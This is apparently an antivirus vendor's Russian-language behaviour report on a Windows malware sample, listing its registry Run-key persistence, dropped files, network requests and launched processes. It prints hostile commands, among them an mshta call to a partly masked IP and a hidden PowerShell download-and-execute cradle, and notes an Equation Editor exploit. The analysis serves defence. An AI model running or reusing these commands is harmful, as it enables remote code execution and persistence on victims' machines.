Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'yEpAQ' = 'C:\lnopru\yEpAQB\yEpAQBHYU.vbs'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\systempropertiesadvanced.exe
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\mshta.exe' http://23.###.162.143:9090/hjf &AAAAAA C
Изменения в файловой системе
Создает следующие файлы
- C:\lnopru\yepaqb\yepaqbhyu.vbs
- C:\lnopru\yepaqb\yepaq.exe
Сетевая активность
TCP
Запросы HTTP GET
- http://23.###.162.143:9090/hjf via 23.##9.162.143
- http://23.###.162.143:9090/_Incapsula_Resource?SW############################# via 23.##9.162.143
- http://23.###.162.143:9090/get via 23.##9.162.143
- http://www.m9#.net/uploads/15845114731.jpg
UDP
- DNS ASK m9#.net
Другое
Создает и запускает на исполнение
- '%APPDATA%\microsoft\windows\start menu\programs\startup\systempropertiesadvanced.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[<#000#>Net.WebRequest<#000#>]::GetSystemWebProxy();$V.Proxy.Credentials=[<#000#>Net.CredentialCache<#000#>]::DefaultCredentials;IEX($V...' (со скрытым окном)
- '%WINDIR%\syswow64\mshta.exe' http://23.###.162.143:9090/hjf &AAAAAA C' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
